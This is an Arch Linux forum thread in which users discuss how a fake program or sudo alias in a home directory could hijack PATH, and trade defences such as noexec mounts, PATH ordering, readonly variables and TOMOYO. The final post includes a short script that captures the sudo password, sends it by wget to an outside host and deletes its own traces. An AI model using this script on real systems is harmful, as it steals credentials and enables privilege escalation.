Potential security issue

Anikom15 · 2010-03-07 16:52:33

Ok, so many users have bins in their home folders, or something similar set in their PATH, for scripts and such. Couldn't you place a "clone" of a common UNIX program like cat in their directory? The program would behave the same, but would quitly execute another malicious program to wreak havoc on the machine. Even worse, run it in sudo, and the malware would have access to the whole system. Now I'm not a security person, but this seems very possible.

tlvb · 2010-03-07 18:20:42

It should be possible, put an alias in .bashrc for sudo to something that does exactly the same thing as the real deal but on top of that records the password and phones home and you're all set. A way to get around this I would guess, is to keep partitions separate (esp /home, /tmp too I guess), and have all partitions that users have write access to mounted with noexec.

no-daemon · 2010-03-07 18:53:48

One of the reasons I've never used sudo (this might be the first time I actually type the word), is that such things can happen in theory, and IMHO you won't miss much by removing it.

szymon_g · 2010-03-07 19:06:19

you can always check which sudo-binary will be used (by typing commend 'which sudo'), not to mention- that if admin really cares about security, he- either- block all possibilities to run a binary from 'improper' locations (/home, /tmp etc) or set a mandatory access control (tomoyo, selinux)- so even if something will run from /home/ it will not broke whole system (and if set up properly, you wont even lose your credit cards details)

Meyithi · 2010-03-07 19:09:21

If you use Sudo, you shouldn't add users to the wheel group who might be susceptible to run untrusted code, running untrusted code is the real issue.

bcat · 2010-03-07 20:29:04

szymon_g wrote:

you can always check which sudo-binary will be used (by typing commend 'which sudo'), not to mention- that if admin really cares about security, he- either- block all possibilities to run a binary from 'improper' locations (/home, /tmp etc) or set a mandatory access control (tomoyo, selinux)- so even if something will run from /home/ it will not broke whole system (and if set up properly, you wont even lose your credit cards details)

"which sudo" doesn't really help much. If I can write code that shadows the sudo executable, I can do the exact same thing for the which executable.

Last edited by bcat (2010-03-07 20:29:15)

skanky · 2010-03-07 21:03:40

The recommendation is to add your local bin folder at the *end* of your path, so common apps are picked up first.
If you want to wrap the app then a function will do the job - it can point at a script if necessary.
which has a recommended wrapper function in the man page.

Obviously nothing's water tight, but these things can help.

Allan · 2010-03-07 21:22:09

Anikom15 wrote:

Couldn't you place a "clone" of a common UNIX program like cat in their directory?

Someone has managed to get into your computer and place a program in your home's bin directory and you are then worried what it could to.... seems a bit late as the breach has already happened.

lifeafter2am · 2010-03-08 02:54:54

Allan wrote:

Anikom15 wrote:
Couldn't you place a "clone" of a common UNIX program like cat in their directory?
Someone has managed to get into your computer and place a program in your home's bin directory and you are then worried what it could to.... seems a bit late as the breach has already happened.

This is exactly what I was thinking. Privilege escalation can be done in hundreds of ways .. if your user account is already broken, you most likely already lost.

zowki · 2010-03-08 06:13:25

If the user's bin directory is appended to the end of the $PATH variable then the malicious executable wont be executed since the real binary will be found first. That's what I as a security practice.

JohannesSM64 · 2010-03-08 06:18:33

To be safe, use full paths, like /usr/bin/sudo /sbin/fdisk. I don't see why this should be an issue unless someone has access to your user account or the sysadmin is retarded, though.

Last edited by JohannesSM64 (2010-03-08 06:22:53)

knopwob · 2010-03-08 06:35:05

if $bad_person has access to someones bin directory, then he has also access to the users .bashrc, where he could define a new $PATH, or he can add something to your .xinitrc and so on.
And since almost no cracker wants to simply destroy your OS, rather than add it to a botnet, run a keylogger or something like this, there's no real need to have root access anyway.
Oh and if he's running some kind of keylogger: grep su or grep sudo in it's logfile and see what was typed in next.

There are some other ways to compromize your system fairly easily even without changing your $PATH, but i don't want to give bad ideas to someone ;-)

edit: assumed he has access to a useraccount of course, but that's what this thread is about

Last edited by knopwob (2010-03-08 06:38:46)

panuh · 2010-03-08 09:28:02

I set my .bashrc to be uneditable (via chattr) and my aliases are loaded through an external file.
After the sourcing of the external file an alias for sudo is set to prevent the named problem.

source ~/.bash_aliases
alias sudo='sudo '

I don't really believe it's necessary but when I first read about this issue I thought this solution is kind of obvious.

Oh... Now I see that I there's another issue for me. I set the alias to 'sudo ', with a space appended, to be able to run aliases via sudo. But that way it's all stupid again XD. But anyway. If you don't use the space I think it should be safe.
Any opinions on that solution?

3ED_0 · 2010-11-30 01:08:58

What about if you put "declare -r PATH" under "export PATH" in "/etc/profile" ? :]

-r     Make  names readonly.  These names cannot then be assigned values by
       subsequent assignment statements or unset.

Or maybe "chown root:root", "chmod 755" for "~/.bash_profile", and there declare readonly for PATH.

--EDITED

alias sudo='sudo '

:<
"declare -x -r sudo='/usr/bin/sudo'" and then: "$sudo" in terminal
or add realiasing to viariable PROMPT_COMMAND (declared as readonly)

BTW. Good for feature reqest in bash: alias -r (readonly)

Last edited by 3ED_0 (2010-11-30 01:50:00)

dyscoria · 2010-11-30 06:56:02

I mount my /home /var and /tmp all noexec (and run TOMOYO Linux) and problem solved But of couse that doesn't stop the local attacker from booting from USB/CDROM and doing what they like. And if booting from media is disabled, they can just remove the hard drive, put in enclosure and mount as external HDD. So I guess we have to encrypt data, but risk losing everything if system crashes or power fails so we have to make frequent backups (which I guess must also be encrypted).

Easy solution: don't let people near your computer

Last edited by dyscoria (2010-11-30 06:56:24)

Fruity · 2010-11-30 09:17:38

Isnt this a bit like leaving your keys in the car, then wondering how it was stolen?

Tomoyo linux + noexec, fine ideas! Must read more about tomoyo though! *adds them to the to do list*

3ED_0 · 2010-11-30 12:51:36

With noexec?

alias sudo='bash ~/script' added to your .basrrc

# ~/script look like
printf "Password: "
read pass
wget --post-data "ip=$ip&user=`id -un`&pass=$pass" http://php.ar/john/php.php &> /dev/null
sed 's/alias sudo=.*//g' -i .bashrc &> /dev/null
(sleep 3; rm ~/script &> /dev/null) &
printf "Try again..\n"
sudo "$@"

or something like that.

I know - TOMOYO, but this also no 100% armored us. :]

Last edited by 3ED_0 (2010-11-30 12:52:55)

Arch Linux

#1 2010-03-07 16:52:33

Potential security issue

#2 2010-03-07 18:20:42

Re: Potential security issue

#3 2010-03-07 18:53:48

Re: Potential security issue

#4 2010-03-07 19:06:19

Re: Potential security issue

#5 2010-03-07 19:09:21

Re: Potential security issue

#6 2010-03-07 20:29:04

Re: Potential security issue

#7 2010-03-07 21:03:40

Re: Potential security issue

#8 2010-03-07 21:22:09

Re: Potential security issue

#9 2010-03-08 02:54:54

Re: Potential security issue

#10 2010-03-08 06:13:25

Re: Potential security issue

#11 2010-03-08 06:18:33

Re: Potential security issue

#12 2010-03-08 06:35:05

Re: Potential security issue

#13 2010-03-08 09:28:02

Re: Potential security issue

#14 2010-11-30 01:08:58

Re: Potential security issue

#15 2010-11-30 06:56:02

Re: Potential security issue

#16 2010-11-30 09:17:38

Re: Potential security issue

#17 2010-11-30 12:51:36

Re: Potential security issue

Board footer